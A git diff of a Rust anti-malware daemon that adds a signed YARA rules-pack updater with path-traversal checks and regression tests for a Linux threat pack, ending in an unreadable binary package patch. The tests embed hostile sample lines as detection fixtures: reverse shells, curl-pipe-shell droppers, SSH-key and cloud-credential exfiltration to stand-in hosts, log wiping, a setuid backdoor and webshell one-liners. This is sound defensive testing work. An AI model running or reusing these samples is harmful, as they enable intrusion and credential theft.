!outcome.installed.is_empty() { + let loaded = st.defs.reload(); + lines.push(format!( + " loaded {} indicators from {} pack(s) [{}]", + loaded.indicators, + loaded.packs.len(), + loaded.version + )); + } + let sev = if outcome.rejected.is_empty() { "info" } else { "warn" }; + st.events + .push("update", sev, format!("definitions: {}", outcome.summary())); + } + Err(e) => { + // Reported, not fatal. + lines.push(format!("definitions: could not update — {e}")); + st.events + .push("update", "warn", format!("definitions update failed: {e}")); } - let sev = if outcome.rejected.is_empty() { "info" } else { "warn" }; - st.events - .push("update", sev, format!("definitions: {}", outcome.summary())); - } - Err(e) => { - // Reported, not fatal. - lines.push(format!("definitions: could not update — {e}")); - st.events - .push("update", "warn", format!("definitions update failed: {e}")); } } diff --git a/crates/houndd/src/peer.rs b/crates/houndd/src/peer.rs index 10e7b80..c14dc69 100644 --- a/crates/houndd/src/peer.rs +++ b/crates/houndd/src/peer.rs @@ -272,6 +272,8 @@ mod tests { "quarantine.restore", "quarantine.remove", "realtime.set_enabled", + // Installing a licence writes a file the daemon acts on. + "license.install", ] { assert_eq!(access_for(admin), Access::Admin, "{admin} must require root"); } diff --git a/crates/houndd/src/update.rs b/crates/houndd/src/update.rs index 1eacd0f..32f9858 100644 --- a/crates/houndd/src/update.rs +++ b/crates/houndd/src/update.rs @@ -60,6 +60,10 @@ pub struct IndexEntry { pub struct Index { #[serde(default)] pub packs: Vec, + /// Signed YARA rules packs — the curated threat pack channel. Absent + /// from older indexes, which is an empty list, which is fine. + #[serde(default)] + pub rules: Vec, } /// What one update run did. @@ -96,11 +100,12 @@ impl Outcome { /// /// Without this, an entry of `../../../etc/cron.d/evil` would have the /// updater write wherever it liked — a path traversal handed to a process -/// running as root. Only a plain basename ending in `.pack` is accepted. -pub fn safe_pack_name(name: &str) -> bool { +/// running as root. Only a plain basename with the expected extension is +/// accepted. +fn safe_name(name: &str, extension: &str) -> bool { !name.is_empty() && name.len() <= 128 - && name.ends_with(".pack") + && name.ends_with(extension) && !name.contains('/') && !name.contains('\\') && !name.contains("..") @@ -110,6 +115,14 @@ pub fn safe_pack_name(name: &str) -> bool { .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.')) } +pub fn safe_pack_name(name: &str) -> bool { + safe_name(name, ".pack") +} + +pub fn safe_rules_name(name: &str) -> bool { + safe_name(name, ".rpack") +} + fn sha256_hex(bytes: &[u8]) -> String { let mut h = Sha256::new(); h.update(bytes); @@ -230,9 +243,139 @@ pub fn run(dir: &Path, trusted: &[(&str, ed25519_dalek::VerifyingKey)]) -> Resul out.installed.push(entry.file.clone()); } + install_rules_packs(&base, &index, trusted, &mut out); + Ok(out) } +/// Fetch and install the signed YARA rules packs the index offers. +/// +/// The verbatim `.rpack` is kept beside the extracted `.yar` so the next +/// run can compare hashes and skip the download; the rule store only +/// compiles `*.yar`, so the envelope sitting there is inert. The `.yar` is +/// extracted from the *verified* payload — the YARA compiler never sees +/// bytes whose signature did not check out. +fn install_rules_packs( + base: &str, + index: &Index, + trusted: &[(&str, ed25519_dalek::VerifyingKey)], + out: &mut Outcome, +) { + if index.rules.is_empty() { + return; + } + let dir = rules_install_dir(); + if let Err(e) = std::fs::create_dir_all(&dir) { + out.log.push(format!("rules: could not create {}: {e}", dir.display())); + return; + } + + for entry in &index.rules { + if !safe_rules_name(&entry.file) { + out.rejected.push(entry.file.clone()); + out.log.push(format!( + "refused a rules-pack name that is not a plain filename: {:?}", + entry.file + )); + continue; + } + let dest = dir.join(&entry.file); + if let Ok(existing) = std::fs::read(&dest) { + if !entry.sha256.is_empty() && sha256_hex(&existing) == entry.sha256 { + out.already_current.push(entry.file.clone()); + continue; + } + } + + let url = format!("{base}/{}", entry.file); + let bytes = match get(&url, MAX_PACK_BYTES) { + Ok(b) => b, + Err(e) => { + out.rejected.push(entry.file.clone()); + out.log.push(format!("{}: {e}", entry.file)); + continue; + } + }; + + // VERIFY BEFORE INSTALL, same as a definitions pack. + let signed: SignedPack = match serde_json::from_slice(&bytes) { + Ok(s) => s, + Err(e) => { + out.rejected.push(entry.file.clone()); + out.log.push(format!("{}: not a rules pack ({e})", entry.file)); + continue; + } + }; + let rules = match pack::verify_rules(&signed, trusted) { + Ok(r) => r, + Err(e) => { + out.rejected.push(entry.file.clone()); + out.log.push(format!("{}: {e}", entry.file)); + continue; + } + }; + + // The installed basename comes from inside the signed payload, and + // still gets the hostile-filename treatment: signing keys can be + // stolen, and a stolen key must not also be a path traversal. + if !acceptable_rules_pack_name(&rules.name) { + out.rejected.push(entry.file.clone()); + out.log + .push(format!("{}: refused pack name {:?}", entry.file, rules.name)); + continue; + } + + let install = |path: &Path, bytes: &[u8]| -> std::io::Result<()> { + let tmp = dir.join(format!( + ".{}.part", + path.file_name().unwrap_or_default().to_string_lossy() + )); + std::fs::write(&tmp, bytes)?; + std::fs::rename(&tmp, path) + }; + let yar = dir.join(format!("{}.yar", rules.name)); + if let Err(e) = install(&yar, rules.yara.as_bytes()) + .and_then(|_| install(&dir.join("VERSION"), rules.version.as_bytes())) + .and_then(|_| install(&dest, &bytes)) + { + out.rejected.push(entry.file.clone()); + out.log.push(format!("{}: could not install: {e}", entry.file)); + continue; + } + + let rule_count = rules.yara.matches("\nrule ").count() + + usize::from(rules.yara.starts_with("rule ")); + out.log.push(format!( + "{} — {} rules, version {}", + entry.file, rule_count, rules.version + )); + out.installed.push(entry.file.clone()); + } +} + +/// A pack name that may become an installed basename: plain, short, no +/// dots at all — the extension is appended by us, never supplied. +fn acceptable_rules_pack_name(name: &str) -> bool { + !name.is_empty() + && name.len() <= 64 + && name + .chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_')) +} + +/// Where rules packs land, mirroring `install_dir` for definitions and +/// matching where `rules::rules_dir` looks. +pub fn rules_install_dir() -> PathBuf { + if let Some(dir) = std::env::var_os("HOUNDD_RULES_DIR") { + return PathBuf::from(dir); + } + if crate::caps::is_root() { + return PathBuf::from("/var/lib/hound/rules"); + } + let home = std::env::var("HOME").unwrap_or_else(|_| "/root".into()); + PathBuf::from(home).join(".local/share/hound/rules") +} + /// Where the daemon keeps packs, creating the system location when root. pub fn install_dir() -> PathBuf { if let Some(dir) = std::env::var_os("HOUNDD_DEFS_DIR") { @@ -276,6 +419,25 @@ mod tests { } } + #[test] + fn rules_pack_filenames_get_the_same_treatment() { + assert!(safe_rules_name("hound-linux-2026.08.21.rpack")); + for bad in ["../evil.rpack", "a.pack", "sub/dir.rpack", ".hidden.rpack", ""] { + assert!(!safe_rules_name(bad), "{bad:?} should have been refused"); + } + } + + /// The installed basename comes from *inside* the signed payload. A + /// stolen signing key is bad enough; it must not also be a path + /// traversal into /etc. + #[test] + fn a_signed_but_hostile_pack_name_is_refused() { + for bad in ["../cron.d/evil", "a.yar", "with space", "", &"x".repeat(65)] { + assert!(!acceptable_rules_pack_name(bad), "{bad:?} should have been refused"); + } + assert!(acceptable_rules_pack_name("hound-linux")); + } + #[test] fn an_absurdly_long_name_is_refused() { assert!(!safe_pack_name(&format!("{}.pack", "a".repeat(200)))); diff --git a/crates/houndd/tests/threat_pack.rs b/crates/houndd/tests/threat_pack.rs new file mode 100644 index 0000000..a614133 --- /dev/null +++ b/crates/houndd/tests/threat_pack.rs @@ -0,0 +1,274 @@ +//! Regression tests for the Hound Linux threat pack +//! (`crates/hound-defs/rules/hound-linux.yar`). +//! +//! The pack ships through the signed rules channel rather than compiled +//! into the binary, so these tests are its safety net: they compile it +//! under the real engine, prove every rule still fires on a crafted +//! sample of the thing it names, and re-run the goodware gate that keeps +//! it from eating a system binary. A rule that stops detecting, or starts +//! matching real files, fails the build here rather than in the field. + +use std::path::PathBuf; + +fn pack_source() -> String { + // The pack lives in the sibling hound-defs crate. + let path = PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("../hound-defs/rules/hound-linux.yar"); + std::fs::read_to_string(&path) + .unwrap_or_else(|e| panic!("reading {}: {e}", path.display())) +} + +fn compiled() -> yara_x::Rules { + let src = pack_source(); + let mut c = yara_x::Compiler::new(); + c.add_source(yara_x::SourceCode::from(src.as_str()).with_origin("hound-linux.yar")) + .expect("the threat pack must compile under yara-x"); + c.build() +} + +fn hits(rules: &yara_x::Rules, bytes: &[u8]) -> Vec { + let mut sc = yara_x::Scanner::new(rules); + sc.scan(bytes) + .unwrap() + .matching_rules() + .map(|r| r.identifier().to_string()) + .collect() +} + +/// A minimal ELF header so ELF-anchored rules can fire on a crafted body. +fn elf(body: &[u8]) -> Vec { + let mut v = vec![0x7f, b'E', b'L', b'F']; + v.extend_from_slice(&[2, 1, 1, 0]); + v.extend_from_slice(&[0u8; 56]); + v.extend_from_slice(body); + v +} + +#[test] +fn the_pack_compiles_and_has_the_rules_we_think_it_does() { + let rules = compiled(); + let count = rules.iter().count(); + assert!(count >= 30, "expected the full pack, compiled {count}"); +} + +#[test] +fn every_rule_fires_on_a_sample_of_what_it_names() { + let rules = compiled(); + + // (rule identifier, a crafted sample that must trigger it). + let cases: &[(&str, Vec)] = &[ + ( + "Linux_Coinminer_XMRig_Config", + elf(b"stratum+tcp://pool.example:3333 donate-level randomx \"coin\":"), + ), + ( + "Linux_Coinminer_XMRigCC", + elf(b"XMRigCCServer control_command cc-client"), + ), + ( + "Linux_Coinminer_Generic_Pool", + elf(b"stratum+tcp:// pool.minexmr.com worker"), + ), + ( + "Linux_Bot_Mirai", + elf(b"/dev/watchdog GETLOCALIP listening tun0 botnet"), + ), + ( + "Linux_Bot_Gafgyt", + elf(b"/bin/busybox TCP flood UDP flood GETLOCALIP HTTPFLOOD"), + ), + ( + "Linux_Bot_Tsunami", + elf(b"PRIVMSG TSUNAMI GETSPOOFS PAN "), + ), + ( + "Linux_Backdoor_XorDDoS", + elf(b"/lib/libudev.so rootkit md5= hostname cat /proc/net/dev"), + ), + ( + "Linux_Backdoor_TinyShell", + elf(b"tsh RUNSHELL GET_FILE PUT_FILE"), + ), + ( + "Linux_Backdoor_Rekoobe", + elf(b"/tmp/.X11-unix/ d[%d] /proc/%d/cmdline HISTFILE"), + ), + ( + "Linux_Backdoor_BPFDoor", + elf(b"/var/run/haldrund.pid /dev/shm/kdmtmpflush hald-addon-volume"), + ), + ( + "Linux_Rootkit_Diamorphine", + elf(b"diamorphine module_hide hacked_getdents is_invisible"), + ), + ( + "Linux_Rootkit_Reptile", + elf(b"reptile magic_prefix hide_pid /reptile/reptile_shell"), + ), + ( + "Linux_Rootkit_Bedevil", + elf(b"bdvl shell_pass hidden_port ldpreloadhijack"), + ), + ( + "Linux_Rootkit_Preload_Config", + b"/dev/shm/.libhide.so\n".to_vec(), + ), + ( + "Linux_Ransom_RansomEXX", + elf(b"!NEWS_FOR_EXX_COMPANY! .ransomexx encrypt_file mbedtls_"), + ), + ( + "Linux_Ransom_DarkSide_ESXi", + elf(b"esxcli vm process kill README .onion encrypted by"), + ), + ( + "Linux_Ransom_Note_Generic", + b"All your files are encrypted. Contact us at abcdefghij234567.onion to decrypt your files.".to_vec(), + ), + ( + "Linux_Webshell_JSP_Eval", + b"<%@ page %> <% Runtime.getRuntime().exec(request.getParameter(\"c\")); %>".to_vec(), + ), + ( + "Linux_Webshell_ASP_Eval", + b"<% eval(Request(\"cmd\")) %>".to_vec(), + ), + ( + "Linux_Webshell_PHP_Obfuscated", + b"".to_vec(), + ), + ( + "Linux_Webshell_Python", + b"import cgi\nf=cgi.FieldStorage()\nos.system(f.getvalue('cmd'))\n".to_vec(), + ), + ( + "Linux_Webshell_Perl", + b"#!/usr/bin/perl\nuse CGI;\nmy $c=param('cmd');\nsystem($c);\n".to_vec(), + ), + ( + "Linux_Webshell_C99_R57", + b"".to_vec(), + ), + ( + "Linux_Dropper_CurlPipeSh", + b"#!/bin/sh\ncurl -s http://evil.example/x | sh\n".to_vec(), + ), + ( + "Linux_Dropper_TmpChmodExec", + b"#!/bin/sh\nwget http://evil/x -O /tmp/x\nchmod +x /tmp/x\n/tmp/x\n".to_vec(), + ), + ( + "Linux_Stealer_SSHCredHarvest", + b"#!/bin/bash\ntar c ~/.ssh/id_rsa ~/.ssh/known_hosts | curl -T- http://evil/\n".to_vec(), + ), + ( + "Linux_Malware_BashHistory_Exfil", + b"#!/bin/bash\ncat ~/.aws/credentials | curl http://evil.example/x\n".to_vec(), + ), + ( + "Linux_ReverseShell_DevTcp", + b"#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n".to_vec(), + ), + ( + "Linux_ReverseShell_Interpreter", + b"import socket,subprocess\ns=socket.socket()\ns.connect((\"10.0.0.1\",4444))\nsubprocess.call([\"/bin/sh\"])\n".to_vec(), + ), + ( + "Linux_Malware_EmbeddedElf_B64", + b"#!/bin/sh\necho f0VMRgIBAQ... | base64 -d > /tmp/x\n".to_vec(), + ), + ( + "Linux_Malware_HistoryTamper", + b"#!/bin/bash\nunset HISTFILE\nrm -f /var/log/wtmp\n".to_vec(), + ), + ( + "Linux_Malware_Persistence_CronDownload", + b"*/5 * * * * root curl -s http://evil/x | bash\n".to_vec(), + ), + ( + "Linux_Malware_LdPreloadEnvInject", + b"#!/bin/sh\nexport LD_PRELOAD=/dev/shm/.evil.so\n".to_vec(), + ), + ( + "Linux_Malware_SetuidBackdoor_Script", + b"#!/bin/sh\ncp /bin/sh /tmp/.rootsh\nchmod 4755 /tmp/.rootsh\n".to_vec(), + ), + ]; + + let mut missed = Vec::new(); + let mut seen = std::collections::HashSet::new(); + for (rule, sample) in cases { + seen.insert(rule.to_string()); + let matched = hits(&compiled(), sample); + if !matched.iter().any(|m| m == rule) { + missed.push(format!("{rule}: sample matched {matched:?} instead")); + } + } + assert!(missed.is_empty(), "rules that did not fire:\n {}", missed.join("\n ")); + + // Every rule in the pack must have a positive sample above — a rule + // nobody tests is a rule that can silently rot. + let mut untested: Vec = compiled() + .iter() + .map(|r| r.identifier().to_string()) + .filter(|id| !seen.contains(id)) + .collect(); + untested.sort(); + assert!(untested.is_empty(), "rules with no positive sample:\n {}", untested.join("\n ")); +} + +#[test] +fn a_document_about_malware_is_not_malware() { + // The recurring incident: a threat-intel report / AI transcript that + // quotes the very strings the rules key on. The anchors exist for + // exactly this. A plain prose document naming these families and + // techniques must stay clean. + let rules = compiled(); + let doc = "\ + This report covers Mirai, Gafgyt and XorDDoS. Mirai brute-forces \ + Telnet and reports via GETLOCALIP; XorDDoS drops /lib/libudev.so. \ + Analysts should watch for stratum+tcp:// pool URLs (donate-level, \ + rig-id) that indicate XMRig, for reverse shells like \ + 'bash -i >& /dev/tcp/host/port 0>&1', and for c99shell / r57shell \ + webshells. Diamorphine and Reptile are common LKM rootkits.\n" + .repeat(50); + let h = hits(&rules, doc.as_bytes()); + assert!(h.is_empty(), "a document discussing malware must stay clean: {h:?}"); +} + +#[test] +fn the_pack_does_not_flag_system_binaries() { + // The gate the builder enforces, kept as a test so it also runs in CI. + // Skipped where there is nothing to scan (a minimal container). + let rules = compiled(); + let mut scanner = yara_x::Scanner::new(&rules); + let mut checked = 0usize; + let mut failures = Vec::new(); + for dir in ["/usr/bin", "/bin", "/usr/sbin"] { + for entry in std::fs::read_dir(dir).into_iter().flatten().flatten() { + let path = entry.path(); + let Ok(md) = std::fs::symlink_metadata(&path) else { continue }; + if md.is_symlink() || !md.is_file() || md.len() > 32 * 1024 * 1024 { + continue; + } + let Ok(bytes) = std::fs::read(&path) else { continue }; + checked += 1; + if let Ok(res) = scanner.scan(&bytes) { + for m in res.matching_rules() { + failures.push(format!("{} -> {}", path.display(), m.identifier())); + } + } + } + } + if checked < 50 { + eprintln!("threat-pack goodware gate: only {checked} binaries readable — not meaningful, skipping"); + return; + } + assert!( + failures.is_empty(), + "{} false positive(s) across {checked} system binaries:\n {}", + failures.len(), + failures.join("\n ") + ); + eprintln!("threat-pack goodware gate: {checked} system binaries, 0 false positives"); +} diff --git a/dist/hound_0.1.12_amd64.deb b/dist/hound_0.1.12_amd64.deb new file mode 100644 index 0000000000000000000000000000000000000000..30415bdb6e7587ba403854dd6104ecc05265d8ee GIT binary patch literal 11426920 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 